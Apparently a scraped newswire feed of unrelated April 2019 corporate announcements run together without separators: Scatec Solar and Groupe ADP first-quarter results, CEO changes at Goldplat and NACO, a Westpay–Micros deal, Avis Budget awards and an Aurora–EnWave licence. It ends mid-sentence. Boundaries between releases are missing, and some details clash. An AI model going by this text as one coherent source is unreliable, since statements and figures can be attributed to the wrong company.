reporting by RFE/RL correspondent Christopher Miller in Kyiv Source: https://www.rferl.org/a/parliament- in-kyiv-oks-bill-making-ukrainian-the- official-state-language/29903054.html Copyright (c) 2019. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Oslo, 26 April 2019: Scatec Solar continued to deliver strong growth and solid financial results in first quarter 2019 with proportionate revenues of NOK 1,528 million (572), and EBITDA of NOK 315 million (109). Power production reached its highest level ever with 133 GWh on proportionate basis, almost doubling production compared to the same period last year. First quarter revenues and EBITDA increased almost threefold compared to the same quarter last year. This reflects continued high construction activities in the Development & Construction segment with revenues of NOK 1,297 million (417), EBITDA of NOK 159 million (15) and a gross margin of 14%. In the Power Production segment, it was the first full quarter of production for the new plants in Brazil and Malaysia which both contributed to increased revenues and EBITDA. We continue our solid deliveries in the first quarter with high construction activity on four continents and significant project development activity. With the first 65 MW in Egypt grid connected in April, our installed capacity reached 649 MW, and we plan to grid connect substantial new capacity in the next few quarters. With continued strong market growth, we will utilise our market position to further grow a diversified business, says CEO of Scatec Solar Raymond Carlsen. Scatec Solar's first quarter consolidated revenues were NOK 327 million (289), and EBITDA reached NOK 242 million (150). For further details, please see the attached first quarter report and presentation. A presentation of the results will be held today at 08.00 at Hyres Hus, Stortingsgata 20, Oslo. The presentation and Q&A session can also be followed through a live webcast from our website www.scatecsolar.com . For further information, please contact: Mikkel Trud, CFO tel: +47 976 99 144 mikkel.torud@scatecsolar.com Ingrid Aarsnes, VP Communication & IR tel: +47 950 38 364 ingrid.aarsnes@scatecsolar.com About Scatec Solar Scatec Solar is an integrated independent solar power producer, delivering affordable, rapidly deployable and sustainable clean energy worldwide. A long- term player, Scatec Solar develops, builds, owns, operates and maintains solar power plants and has an installation track record of more than 1 GW. The company has a total of 1.7 GW in operation and under construction in Argentina, Brazil, the Czech Republic, Egypt, Honduras, Jordan, Malaysia, Mozambique, Rwanda, South Africa and Ukraine. With an established global presence and a significant project pipeline, the company is targeting a capacity of 3.5 GW in operation and under construction by end of 2021. Scatec Solar is headquartered in Oslo, Norway and listed on the Oslo Stock Exchange under the ticker symbol 'SSO'. To learn more, visit www.scatecsolar.com . This information is subject to the disclosure requirements pursuant to Section 5-12 the Norwegian Securities Trading Act Attachments English French financial release AS OF 31 MARCH 2019 26 April 2019 Aeroports de Paris SA Consolidated revenue over the first quarter of 2019 up by 11.9% driven by a good performance in all the business segments Consolidated revenue including the full consolidation (FC) of TAV Airports and Airport International Group (AIG) was up by 11.9%, i.e. +115 million, at 1,080 million. Excluding the full consolidation of AIG, the consolidated revenue would be up by 6.4%. Groupe ADP's traffic: +0.4%, at 58 million passengers over the first quarter of 2019 (vs. 57.8 million passengers over the same period in 2018), explained by the domestic traffic decrease registered in the Turkish airports of TAV Airports Paris Aeroport traffic : +4.1%, at 23.7 million passengers (vs. 22.8 million passengers over the first quarter of 2018), thanks to international traffic (+5.5%) and the dynamism of low-cost companies (+4.8%) Aviation activities (+3.8%) : growth in airport fees (+5.5%, at 253 million) due to the increase in tariffs as of 1 April 2018 (+2.125%) and the good traffic growth Retail and services (+7.5%) : good dynamics of retail activities (+6.0%, at 111 million) driven by the results of airside shops (+11.0%) and bars & restaurants (+5.3%). The sales/pax increased over the first quarter of 2019 (+3.7%, at 19.3), due to the progressive shops reopening of terminal 2E Hall L at Paris-Charles de Gaulle after works, and the full effect of the shops opening of 2018 second semester Real Estate (+8.2%) : increase of external revenue (+6.2%, at 69 million) driven by new contracts International and airports developments (+30.4%): the revenue reflected TAV Airports' contribution, up to 264 million and AIG's contribution, up to 53 million over the first quarter of 2019 Other activities (+9.4%) : increase linked to surveys and realized works repayments for the CDG express Groupe ADP revenue by segment for the first quarter of 2019 compared to the first quarter of 2018 (in millions of euros) Q1 2019 Q1 2018 2019/2018 Revenue 1 080 965 +11.9% Aviation 442 426 +3.8% Retail and services 248 230 +7.5% Real estate 80 74 +8.2% International and airport developments 334 256 +30.4% of which TAV Airports 264 243 +9.0% of which AIG 53 - N/A Other activities 40 37 +9.4% Inter-sector eliminations (63) (58) +10.0% Reminder of 2019 assumptions and forecasts, revised since the publication of 2018 full-year results on February 14th 2019 Revision of the traffic growth assumption for Paris Aeroport between +2.5% and +3.0% in 2019 compared with 2018 (vs. +2.0% and +2.5% previously) Traffic growth assumption for TAV Airports: decrease between -38% and -42% compared to 2018 (calculated without Istanbul Ataturk)(unchanged) 2019 consolidated EBITDA: decrease between -8% and -13% compared to 2018 taking into account the closure of Istanbul Ataturk airport (unchanged) Consolidated EBIDTA restated of Istanbul Ataturk contribution in 2018 (pro forma) and in 2019: increase of between +1% and +5% compared to 2018 (unchanged) 2019 consolidated EBITDA, excluding the full consolidation of TAV Airports et AIG : increase between +1% et +2% (unchanged) Maintained pay-out of 60% of NR AG 2019 (unchanged) Augustin de Romanet, Chairman and CEO of Aeroports de Paris SA - Groupe ADP, stated : "2019 first quarter revenue increased by 11.9%, at 1,080 million driven by a very good performance of all the activities of the group. In Paris, the commercial activities growth continues to be sustained and the sales per passenger of the airside shops was up to 19.3. Regarding the international activities, TAV Airports reports good results concerning 2019 first quarter despite a decreasing domestic traffic and the Turkish lira depreciation. The commercial flights of the Istanbul Ataturk Airport were transferred to the new Istanbul Airport on 6 April 2019. Since Paris Aeroport traffic figures over 2019 first quarter were very good (+4.1%), the traffic growth assumption is revised for 2019, between +2.5% and +3.0%, against +2.0% and +2.5% previously. All our other 2019 assumptions are confirmed." First quarter of 2019 consolidated revenue - Analysis by segment Aviation activities - Parisian platforms (in millions of euros) Q1 2019 Q1 2018 2019/2018 Revenue 442 426 +3.8% Airport fees 253 240 +5.5% Passenger fees 155 147 +5.9% Landing fees 59 56 +5.3% Parking fees 39 37 +4.4% Ancillary fees 61 61 -0.4% Revenue from airport safety and security services 119 116 +2.7% Other income 9 9 +0.7% Over the first quarter of 2019, the Aviation segment revenue, which includes only Parisian activities, was up by 3.8%, at 442 million. Revenue from airport fees (passenger fees, landing fees and aircraft parking fees) was up by 5.5%, at 253 million, benefiting from the passenger traffic growth (+4.1%) and the increase of tariffs as of 1 April 2018. As a reminder, tariffs (excluding PRM fees) had increased by 2.125% as of 1 April 2018. These tariffs have increased by +1.0% since 1 April 2019. Ancillary fees were stable at 61 million thanks to the traffic growth, and despite minor deicing revenues (2019 winter was warmer than in 2018). Revenue from airport safety and security services was up by 2.7%, at 119 million. It should be noted that since April 1st 2019, the article 179 of Law No. 2018-1317 of 28 December 2018 of finance, takes into account the introduction of the mechanism charging Aeroports de Paris 6% of the costs hitherto fully covered by the airport tax. Other income, which mostly consists in re-invoicing the French Air Navigation Services Division and leasing associated with the use of terminals and other works services made for third parties, was nearly stable, at 9 million. Retail and services - Parisian platforms (in millions of euros) Q1 2019 Q1 2018 2019/2018 Revenue 248 230 +7.5% Retail activities 111 105 +6.0% Airside shops 77 70 +11.0% Landside shops 4 4 -4.0% Bars and restaurants 11 10 +5.3% Advertising 10 10 -1.8% Others 9 10 -10.0% Car parks and access roads 40 40 +1.1% Industrial services revenue 40 36 +11.2% Rental income 37 37 +0.7% Other income 19 13 +46.2% Over the first quarter of 2019, the revenue from Retail and services, which includes only Parisian activities, was up by 7.5%, at 248 million. Revenue from retail activities (rents received from airside and landside shops, bars and restaurants, banking and foreign exchange activities and car rental companies, as well as revenue from advertising) was up by 6.0%, at 111 millions. Among this item, the rents from airside shops stood at 77 million, up by 11.0%, linked to the positive evolution of the traffic mix, a positive exchange rate and good performances of Luxury Fashion and Core Business segments. The progressive reopening of the shops in the terminal 2E Hall L at Paris-Charles de Gaulle after works and the full effect of the shops opening of 2018 second semester (notably with Louis Vuitton) contribute at the SPP improvement, up by 3.7%, at 19.3, compared to 18.6 during the first quarter of 2018; The total amount of rents from landside shops is down by 4.0%, at 4 million; The rents from bars and restaurants were up 5.3%, at 11 million, notably linked to the traffic growth and the the joint venture EPIGO development (+7.2% in revenues); Media Aeroports de Paris' revenue decreased by 5.6%, at 10.8 million, linked to the decreasing performance of the bright advertising media and the decrease of technical fees re-invoicing for the events on offer. The other income of retail activities decreased by 10%, at 9 million after the implementation of new markets concerning exchange and tax refund as of 2019. These contracts, that were historically own managed by ADP are now managed through SDA. Therefore, over the first quarter of 2019, this change has led to a reclassification from "other incomes of commercials activities" to "commercial fees". Revenue from car parks was slightly increasing (+1.1%), at 40 million. Revenue from industrial services (supply of electricity and water) were up by 11.2%, at 40 million. Rental revenues (leasing of spaces within terminals) were stable at 37 million. Other revenues (primarily constituted of internal services) increased by 6 million, at 19 million, notably thanks to the increase of the revenue linked to the works for the project Societe du Grand Paris. Real Estate - Parisian platforms (in millions of euros) Q1 2019 Q1 2018 2019/2018 Revenue 80 74 +8.2% External revenue 69 65 +5.6% Land 29 27 +8.0% Buildings 17 16 +0.7% Others 23 22 +6.2% Internal revenue 10 10 +0.1% Other income and expenses 1 (1) +2m Over the first quarter of 2019, real estate revenue, which includes only Parisian activities, was up by 8.2%, at 80 million. External revenue was up by 5.6%, at 69 million, driven by new contracts and rental expenses re-invoicing. Internal revenue was stable at 10 million. International and airports developments (in millions of euros) Q1 2019 Q1 2018 2019/2018 Revenue 334 256 +30.4% ADP Ingenierie 11 10 +11.4% ADP International 57 3 +54 m Of which AIG 53 - N/A TAV Airports 264 243 +9.0% Of which Istanbul Ataturk 115 111 +3.6% Over the first quarter of 2019, revenue from International and airports developments stood at 334 million (+30.4% compared with 2018) mainly due to the full integration of AIG since April 2018. Excluding the full integration of AIG's results, revenue would have been up by 9.5%. ADP International saw its revenue increase by 54 million, at 57 million. Excluding the full consolidation of AIG, revenue from ADP International stood at 4 million over the first quarter of 2019. ADP Ingenierie revenue was up by 11.4%, at 11 million, following the integration of Merchant Aviation since July 2018. As of 31 March 2019, ADP Ingenierie's backlog stood at 79 million, compared to 57 million at the end of March 2018. Over the first quarter of 2019, the contribution of TAV Airports to Groupe ADP's revenue stood at 264 million, vs. 243 million as of 31 March 2018 (+8.6%). TAV Airports' revenue had been driven by: the dynamism of international tourism in Turkey (+11.6%); the traffic growth recorded on the other platforms outside of Turkey, notably in Tunisia (+42.7%) and Georgia (+12.9%); the revenue generated by GIS, specialized in the management of VIP airports lounges, acquired in January 2019 (+6 million). The combination of these effects allows to compensate the domestic traffic decrease registered in the Turkish airports of TAV Airports (-1.5% compared to the 2018 first quarter) and the negative effect over the revenue of the Turkish lira depreciation compared with Euro, in the order of 30% in average over the 2019 first quarter (vs. 2018 first quarter), being broadly neutral at the level of EBITDA. The revenue linked to Istanbul Ataturk Airport stood at 115 million over the first quarter of 2019 (vs 111 million over the first quarter of 2018). Following the transfer of commercial flights of Istanbul Ataturk to the new Istanbul airport on April 6 2019, the dispositions regarding the IFRS 5 standard must apply to TAV Istanbul as of this date. Therefore, concerning 2019 half-year and full-year results', the full 2019 revenue and operating expenses of TAV Istanbul (i.e. as of 01/01/2019) will be separately presented on the income statement as "Net income from non-continuing operations ". The Group consolidated revenue, EBITDA and operating income from ordinary activities won't take into account the Istanbul Ataturk airport activity any more (115 million for Q1 2019 vs 111 million for Q1 2018). Other activities (in millions of euros) Q1 2019 Q1 2018 2019/2018 Products 40 37 +9.4% Hub One 35 36 -2.8% Others 5 1 + 4 M Over the first quarter of 2019, the other activities segment revenue increased by 9.4%, at 40 million, mainly linked to reimbursement of studies and works made for the project CDG Express (+4 million). Hub one saw its revenue decreased by 2.8%, at 35 million, due to external contracts renegotiation. Highlights of the period since the publication of the 2018 full-year results, on 14 February 2019 Change in passenger traffic over the first quarter of 2019 Groupe ADP stake-weighted traffic: Group traffic (million passengers) Groupe ADP stake(1) Stake-weighted traffic(2) 2019 / 2018 change(3) Groupe ADP Paris Aeroport (CDG+ORY) @ 100% 23.7 +4.1% Zagreb @ 20.8% 0.1 +3.4% Jeddah-Hajj @ 5% 0.1 -15.7% Amman @ 51% 1.9 (@100%) +5.5% Mauritius @ 10% 0.1 -1.1% Conakry @ 29% 0.0 +14.7% Santiago de Chile @ 45% 3.1 +9.7% Madagascar @ 35% 0.1 +7.9% TAV Airports Group Istanbul Ataturk @ 46.1% 15,2 (@ 100 %) -2.2% Antalya @ 46.1% 2,8 (@ 100 %) +13.0% Ankara Esenboga @ 46.1% 3,5 (@ 100 %) -20.8% Izmir @ 46.1% 2,8 (@ 100 %) -9.8% Other airports(4) @ 46.1% 4,6 (@ 100 %) +3.4% TOTAL GROUP 58.0 +0.4% (1) Direct or indirect (2) Total traffic is calculated using the following method: traffic at the airports that are fully integrated is recognised at 100%, while the traffic from the other airports is accounted for pro rata to Groupe ADP's percentage holding. Traffic in TAV Airports' airports is taken into account at 100% in accordance with TAV Airports' financial communication pratices. (3) Change in 2019 traffic as compared to 2018. For TAV Airports, change in traffic in 2019 vs 2018 is calculated on a comparable basis and includes traffic on Antalya Airports since January 2018. (4)Turkey (Milas-Bodrum & Gazipasa), Croatia (Zagreb), Saudi Arabia (Medinah), Tunisia (Monastir & Enfidha), Georgia (Tbilissi & Batumi), and Macedonia (Skopje & Ohrid). Paris Aeroport traffic Over the 1st quarter of 2019, Paris Aeroport traffic welcomed 23.7 million passengers, an increase of 4.1% compared with the 1st quarter 2018. 16.5 million passengers travelled through Paris-Charles de Gaulle (+5.7%) and 7.2 million passengers through Paris-Orly (+0.6%). Geographical breakdown of traffic in Paris is as follows: International traffic (excluding Europe) was up (+5.5%) driven by the growth in the following destinations: North America (+10.2%), Latin America (+5.9%), Asia-Pacific (+5.0%), Africa (+4.8%), the French Overseas Territories (+3.5%), the Middle East (+2.5%); European traffic (excluding France) was up by 3.4%; Traffic within France increased by 2.1%. Geographic split Paris Aeroport 2019 / 2018 change Share of total traffic France +2.1% 15.5% Europe +3.4% 41.6% Other International +5.5% 42.9% Of which Africa +4.8% 12.1% North America +10.2% 9.0% Latin America +5.9% 3.8% Middle East +2.5% 5.6% Asia-Pacific +5.0% 7.1% French Overseas Territories +3.5% 5.2% Total Paris Aeroport +4.1% 100.0% The number of connecting passengers increased by 7.6%. The connecting rate stood at 24.7%, up by 0.7 point compared to the quarter of 2018. The aircraft load factor was up by 0.7 point, at 84.4%. The number of air traffic movements (162,541) was up by 2.5%. 2021-2025 Economic Regulation Agreement - Availability of the public consultation document Groupe ADP has published, the 2 April 2019, the document which presents its detailed proposals for 2021-2025 Economic Regulation Agreement, for the development of Parisian platforms. This document is available at the following address: https://www.parisaeroport.fr/en/group/finance/. Users and other stakeholders may submit their comments on this document to the Minister of Transport and the General Directorate for Competition Policy, Consumer Affairs and Fraud Control within one month from the 2 April 2019, period potentially extended by fifteen days by decision of the Minister of Transport. As a reminder, the five-year Economic Regulation Agreement, concluded with the State, constitutes the basic regulatory framework for Parisian airports, precising the nature and the amount of planned investments, the expected quality service level and the airport fees increase for the next five years. This document reflects Groupe ADP's ambition for the Parisian platforms and the conviction that the investments quality it realizes for the benefit of passengers, airlines and partners bases Parisian platforms competitiveness. Consequently, the proposed investment plan represents a new step, both in terms of amounts and development horizons. It will not only meet the needs of the 2021-2025 period but also launch structuring operations in favor of the long-term development of the three Parisian platforms. For this, Groupe ADP proposes to carry out an investment plan on the regulated scope of 6 billion euros over the 2021-2025 period (as a reminder, the Economic Regulation Agreement for the 2016-2020 period retained an investment plan of 3 billion euros). Transfer of commercial flights from Ataturk to New Istanbul Airport TAV Istanbul had the right to operate Ataturk Airport International and Domestic Terminal Building, Parking Garage and General Aviation Terminal for 15.5 years, from 03.07.2005 00.01 hours until 02.01.2021 24.00 hours as per the lease contract entered into with State Airports Authority ("DHMI"). However, by the Turkish authorities' decision, all commercial flights have been transferred to the new Istanbul Airport, as of April 06 2019 02:00. Following this transfer, TAV has provided DHMI with all the assets it has built on the airport. In the TAV Airports' Public Disclosure made on January 22, 2013 TAV Airports announced that in the formal letter addressed to their company by State Airports Authority (DHMI), DHMI had stated that it would reimburse TAV Airports for loss of profit that may be incurred due to opening of the New Istanbul Airport before the end of TAV Istanbul's lease period which ends on January 3, 2021 and independent companies may be consulted for the calculation of the total amount of the loss of profit. The compensation for loss of profit for early termination of Ataturk Airport operations is currently being evaluated by DHMI and TAV. Independent companies are also consulted as part of these evaluations. TAV expects to receive a formal notification of this compensation from DHMI. Agenda A conference call and a live audiocast will be held today at 8:30 am (Paris time). The presentation is available on our website: finance.groupeadp.fr Live audiocast available on our website: Audiocast in English Live by phone o From France: + 33 (0) 1 76 77 22 57 o From other countries: +44 (0) 33 0336 9411 o Confirmation code : 9818880 Monthly traffic figures: - Wednesday 15 May 2019: April 2019 traffic figures Annual general meeting of shareholders: 20 May 2019 Next results publication: - Thursday 25 July 2019 (after market close): 2019 Half-year results Contact Investor Relations Audrey Arnoux: + 33 1 74 25 70 64 - invest@adp.fr Press Lola Bourget: + 33 1 74 25 23 23 Website finance.groupeadp.fr Investor Relations: Audrey Arnoux, Head of Investor Relations +33 1 74 25 70 64 - invest@adp.fr Press contact: Lola Bourget, Head of Medias and Reputation Department +33 1 74 25 23 23 Groupe ADP develops and manages airports, including Paris-Charles de Gaulle, Paris-Orly and Paris-Le Bourget. In 2018, the group handled through its brand Paris Aeroport more than 105 million passengers and 2.3 million metric tonnes of freight and mail at Paris-Charles de Gaulle and Paris-Orly, and more than 176 million passengers in airports abroad through its subsidiary ADP International. Boasting an exceptional geographic location and a major catchment area, the Group is pursuing its strategy of adapting and modernizing its terminal facilities and upgrading quality of services; the group also intends to develop its retail and real estate businesses. In 2018, group revenue stood at 4,478 million and net income at 610 million. Registered office: 1, rue de France, 93 290 Tremblay-en-France. Aeroports de Paris is a public limited company (Societe Anonyme) with share capital of 296,881,806. Registered in the Bobigny Trade and Company Register under no. 552 01 groupeadp.fr Goldplat plc / Ticker: GDP / Index: AIM / Sector: Mining & Exploration 26 April 2019 Goldplat plc (Goldplat, the Group or the Company) Director Changes Goldplat plc, the AIM listed gold producer with international gold recovery operations in South Africa and Ghana as well as a gold mine in Kenya, announces that Gerard Kisbey-Green has stepped down as CEO and that Werner Klingenberg has been appointed as the interim CEO with immediate effect. A full review of the Groups senior management requirements has been initiated in order to fully reflect the Groups current emphasis on its profitable recovery operations. Mr Klingenberg joined Goldplat in March 2015 and in June 2017 he was appointed as the Groups Chief Financial Officer. During this period he has been involved in all aspects of the Groups management. Mr Kisbey-Green has agreed to continue to provide services to the Group as required to ensure a smooth managerial transition. Goldplats Chairman, Matthew Robinson said: "I would like to thank Gerard for his hard work and enthusiasm over the last four years as CEO and wish him the best of luck in his future endeavours. The outcome of the review of the Groups senior management requirements will reflect the Groups strategic requirements going forward. ** ENDS ** For further information visit www.goldplat.com, follow on Twitter @GoldPlatPlc or contact: TORONTO, April 26, 2019 (GLOBE NEWSWIRE) -- The National Angel Capital Organization (NACO) today announces the appointment of Claudio Rojas as its new Chief Executive Officer. As Canadas entrepreneurial ecosystem evolves from start-up to scale-up, Claudio is stepping into the leadership ranks of Canadas only national industry association focused on improving access to critical early-stage capital and mentorship for Canadian entrepreneurs. Building upon NACOs exceptional achievements under the leadership of Yuri Navarro, there is an opportunity to increase our level of collaboration with other organizations impacting Canadian entrepreneurial activity. It is vital to continue to bridge and grow Canadas innovation ecosystem by increasing diversity, inclusion and representation at all levels. Industry leaders across Canada are coming together to build a business community that better reflects our population, including supporting women in STEM. NACOs mandate is to accelerate the pace of change to usher in a more diverse and inclusive economy. As a national organization with a long history of helping to professionalize angel capital investing into Canadian companies, NACO is uniquely positioned to unlock the early-stage capital and mentorship that our founders need to grow and scale more rapidly, says Rojas. Im excited to have an amazing operational team and the guidance of our highly accomplished board to bring transformative and positive change in a wide range of areas that will impact our ability to create, grow and scale innovative companies in Canada. Rojas has held the roles of founder, managing director, board member, steering committee member and advisor to several prominent organizations helping to advance Canadas vibrant innovation ecosystem. He brings over 14 years of experience in finance, law and business, along with a long-term entrepreneurial mindset and thought leadership on founder-run companies. The NACO Board of Directors is thrilled to have Claudio join the NACO team, says Sandi Gilbert, Chair of NACOs Board of Directors. Claudio brings a broad set of skills to our organization and we are lucky to have someone that is both well-known in the NACO community, yet brings a new vision of how we can increase collaboration and partnerships with governments at all levels and other stakeholders to benefit our membership of angels, incubators and accelerators. Rojas holds an MBA from the Ivey Business School, Juris Doctor from the Faculty of Law at Western University, has achieved all three levels of the CFA examinations, is a practitioner member of the European Corporate Governance Institute, and is a lawyer member of the Bar of Ontario, Canada. Im passionate about helping Canadian founders scale their companies into global champions, said Rojas. We have extraordinary entrepreneurs across the country working tirelessly to build companies that will create the next wave of good paying jobs for Canadians. Beyond capital, angel investors bring critical resources that our founders need to scale, particularly mentorship, experience and connections to industry. NACO is Canadas leading organization helping to unlock the early-stage resources that Canadian companies need to grow and scale globally. For more information about NACO, please visit www.nacocanada.com . Media Inquiries For more detailed data and to arrange an interview, please contact: Heidi Gammuac heidi@theagencyinc.ca 1 (403) 399-2514 About NACO The National Angel Capital Organization (NACO) is committed to advancing a thriving, early-stage entrepreneurial ecosystem in Canada. NACO provides intelligence, best practices, tools and resources to its members to unlock the angel capital funding and mentorship that is critical to helping Canadian founders to grow and scale their companies globally. High res photo available on request. A photo accompanying this announcement is available at http://www.globenewswire.com/NewsRoom/AttachmentNg/e3839eda-2be6-4a34-9623-7d80d684c9e0 Westpay, a leading provider of payment solutions, and Micros South Africa (Pty) Ltd have signed an agreement, forming a long-term partnership to bring world-class digital payment services and solutions to hospitality customers across South Africa and surrounding countries. Micros is the leading provider of Hospitality Solutions in the south African region. Within the terms of the agreement, Micros will provide merchants in the hospitality industry with Westpays state-of-the-art payment solutions for cashless, so-called card present, on-site transactions. In particular, Micros and Westpay are focusing on delivering integrated payment solutions for customers in the hotel and restaurant sectors as well as supporting automated self-service applications, across South Africa and surrounding countries. Micros and Westpay, both being Gold Level members of the Oracle Partner Network (OPN), will cater for a strong partnership. Micros will benefit from Westpay having its payment solutions for hotels and restaurants, validated and approved through OPN. Together with Westpay we will expand our offering to include innovative digital payment services. It is an important addition to our portfolio of innovative products and services for the hospitality industry, stated Paul Stephenson, Managing Director of Micros South Africa. We are very excited and honoured to partner with Micros, the market leader in IT for the hospitality sector on southern Africa. The partnership allows us to reach new customers, and will enable them to benefit from secure and improved payment processes, says Sten Karlsson, CEO of Westpay. Micros is owned by Adapt IT and is a supplier of software and hardware solutions to the hospitality industry, including hotels, resorts, restaurants, casinos, theme parks and stadiums. Their client list made up of more than 700 hotels and 3 500 restaurants, including Sun International, First Resorts, Hyatt, Sheraton, Radisson, KFC, Pizza Hut and Starbucks. For additional information, please contact: Sten Karlsson, CEO Westpay AB Mobile: +46 70-555 6065 Email: sten.karlsson@westpay.se Westpays Certified Adviser is Erik Penser Bank, phone: +46 8-463 80 00, email: certifiedadviser@penser.se Attachment LONDON, April 26, 2019 (GLOBE NEWSWIRE) -- Avis Budget Group has been awarded multiple accolades at the 2019 World Travel Awards, for its car rental brands Avis and Budget, across the Middle East, it was announced at an awards ceremony in Abu Dhabi last night. The 26th annual World Travel Awards is globally recognized as a highly prestigious honours programme in global travel and tourism. The awards are voted for by travel and tourism professionals and consumers worldwide, and this honour recognises the brands commitment to excellence, with an ultimate industry accolade. The awards won by these licensee markets within Avis Budget Group include: Middle East's Leading Business Car Rental Company 2019: Avis Bahrain's Leading Car Rental Company 2019: Avis Iraq's Leading Car Rental Company 2019: Avis Kuwait's Leading Car Rental Company 2019: Avis Lebanon's Leading Car Rental Company 2019: Avis Oman's Leading Car Rental Company 2019: Avis United Arab Emirates Leading Car Rental Company 2019: Budget Rent a Car Mark Servodidio, President, International, Avis Budget Group said: Were delighted to celebrate these awards, and congratulate our colleagues and teams in each of these markets who have clearly delivered the high standards we pride ourselves on. These markets and their teams have clearly worked hard and invested wisely to help build and deliver high levels of customer experience and satisfaction. As a leading mobility solutions provider with a presence in approximately 180 countries around the globe, we rely on the expertise and professionalism which our licensees offer Avis and Budget customers in their markets. These awards help celebrate their hard work and dedication to excellence. EDMONTON, Alberta and VANCOUVER, British Columbia, April 26, 2019 (GLOBE NEWSWIRE) -- Aurora Cannabis Inc. ("Aurora" or the "Company") (TSX: ACB) (NYSE: ACB) (Frankfurt: 21P; WKN: A1C4WM) and EnWave Corporation (TSX-V:ENW) (FSE:E4U) (EnWave) announced today that the companies have entered into a royalty-bearing commercial license agreement (the License), providing Aurora with the exclusive rights to EnWaves patented Radiant Energy Vacuum (REV) drying technology for the production of cannabis materials in the European Union, excluding Portugal. Aurora has also secured exclusive license options for both Australia and South America, excluding Peru, exercisable pursuant to minimum REV machine purchase order requirements. Additionally, Aurora has signed a non-exclusive sub-license (the Sub-License) to use REV technology in Canada. The companies furthermore announce that Aurora has placed a purchase order for two of EnWaves 120kW REV dehydration systems for its Aurora Sky and Aurora Sun facilities in Canada, as well as the intention to purchase a third 120kW REV dehydration system for its Aurora Nordic facility in Denmark within sixty days. The REV dehydration systems will be used to increase throughput of material for extraction and use in derivative cannabis products. Aurora has also acquired a 10kW pilot-scale REV machine for product development, protocol development and R&D. Strategic Partnership Forged EnWaves patented REV technology is a rapid, low temperature, continuous drying method that maintains the optimal terpene profile, flavour, as well as other product attributes during the drying process. The companys vacuum-microwave technology enables uniform drying with flexible moisture content, unattainable with freeze drying or air drying. Aurora and EnWave have agreed to enter into an Intellectual Property Agreement (the IPA) with the intent to jointly-develop new innovations relating to REV technology that are applicable to the cannabis industry. All intellectual property developed under the IPA will be owned by EnWave, but any realizable commercial value will be shared on an undisclosed basis with Aurora. All other terms of the IPA are confidential. Pursuant to the License, Aurora will share an undisclosed percentage of the royalties generated through the sub-licensing of EnWaves patent portfolio to sub-licensees in the jurisdictions where the Company holds the exclusive rights to REV technology. EnWave and Aurora will jointly benefit through economic alignment by working together to propagate the global cannabis industry with REV machinery. Strategic Equity Investment To further cement the economic alignment between the companies, Aurora has made a $10 million strategic equity investment in EnWave. Pursuant to the terms of a share purchase agreement between the parties dated April 25, 2019, Aurora has purchased 5,302,227 common shares in the capital of EnWave (the EnWave Shares) at a deemed price of $1.886 per share, based on the volume weighted average trading price (VWAP) for EnWaves shares on the TSX Venture Exchange (the TSXV) for the five (5) consecutive trading days to and including April 22, 2019. As consideration for the EnWave Shares, Aurora issued to EnWave 840,576 common shares in the capital of Aurora (the Aurora Shares) at a deemed price of $11.8966 per share, based on the VWAP for Auroras shares on the Toronto Stock Exchange (the TSX) for the five (5) consecutive trading days to and including April 22, 2019. The EnWave Shares represent approximately 4.91% of the issued and outstanding common shares of EnWave on a non-diluted basis. EnWave received conditional approval for the transaction from the TSXV on April 12, 2019. The TSX and NYSE have conditionally approved the listing of the Aurora Shares on such exchanges. Each of the EnWave Shares and the Aurora Shares will be subject to a hold period of four months and one day from the date of issuance pursuant to applicable securities laws. Management Commentary EnWaves technology offers very significant benefits that further improve the economic returns on our Sky Class facilities, said Terry Booth, CEO of Aurora. The technology provides us with industrial-scale flow-through, reducing working capital requirements, accelerating time to market from harvest, as well as increasing our ability to produce bulk-sale cannabis for extraction and use in derivative products. Our ownership interest in EnWave and the exclusive license arrangement in many of our current and target markets creates the potential to generate additional financial synergies. Brent Charleton, CEO of EnWave, stated, EnWaves growth continues to accelerate, and we are delighted to have Aurora as an investor, industry partner and technology collaborator to further the enhancement and propagation of EnWaves REV drying technology. This partnership brings together two innovation leaders in the cannabis industry, and we look forward to working closely with the team at Aurora to deliver further value to our stakeholders. CapEx and Working Capital Savings Inclusion of EnWaves REV technology in the design of the Aurora Sun and Aurora Nordic facilities will result in significant CapEx savings on drying space (smaller footprint) and related HVAC investments. Inclusion of the technology in the existing Aurora Sky facility will also free up space, which can be repurposed to increase the economic output of the facility. EnWaves REV technology furthermore reduces drying time from 5-7 days to less than one hour, resulting in significant working capital savings and speed to market of product. The technology has certain additional benefits, including the support of industrial scale flow-though, accelerating the ability for large-scale processing of cannabis and CBD-rich biomass into intermediate or finished product. License Agreement Details Aurora will have an exclusive license, with sub-licensing rights to EnWaves REV technology in the European Union (excluding Portugal) and exclusive options to secure the same rights in South America (excluding Peru) and Australia. Aurora will pay EnWave a royalty on all cannabis products processed using the REV machinery. Aurora will receive an undisclosed share of royalties derived from any cannabis product dried with REV technology by sub-licensees in jurisdictions where it holds the exclusive license. Aurora will have a non-exclusive sub-license to the EnWave technology in Canada and will pay EnWave a royalty on cannabis product processed in Canada using REV machinery. About Aurora Headquartered in Edmonton, Alberta, Canada with funded capacity in excess of 625,000 kg per annum and sales and operations in 24 countries across five continents, Aurora is one of the world's largest and leading cannabis companies. Aurora is vertically integrated and horizontally diversified across every key segment of the value chain, from facility engineering and design to cannabis breeding and genetics research, cannabis and hemp production, derivatives, high value-add product development, home cultivation, wholesale and retail distribution. Highly differentiated from its peers, Aurora has established a uniquely advanced, consistent and efficient production strategy, based on purpose-built facilities that integrate leading-edge technologies across all processes, defined by extensive automation and customization, resulting in the massive scale production of high-quality product at low cost. Intended to be replicable and scalable globally, our production facilities are designed to produce cannabis of significant scale, with high quality, industry-leading yields, and low per gram production costs. Each of Aurora's facilities is built to meet EU GMP standards. EU GMP certification has been granted to Auroras first production facility in Mountain View County, the MedReleaf Markham facility, and its wholly owned European medical cannabis distributor Aurora Deutschland. In addition to the Company's rapid organic growth and strong execution on strategic M&A, which to date includes 15 wholly owned subsidiary companies MedReleaf, CanvasRX, Peloton Pharmaceutical, Aurora Deutschland, H2 Biopharma, Urban Cultivator, BC Northern Lights, Larssen Greenhouses, CanniMed Therapeutics, Anandia, HotHouse Consulting, MED Colombia, Agropro, Borela, ICC Labs, and Chemi Pharmaceutical Aurora is distinguished by its reputation as a partner and employer of choice in the global cannabis sector, having invested in and established strategic partnerships with a range of leading innovators, including: Radient Technologies Inc. (TSXV: RTI), Hempco Food and Fiber Inc. (TSXV: HEMP), Cann Group 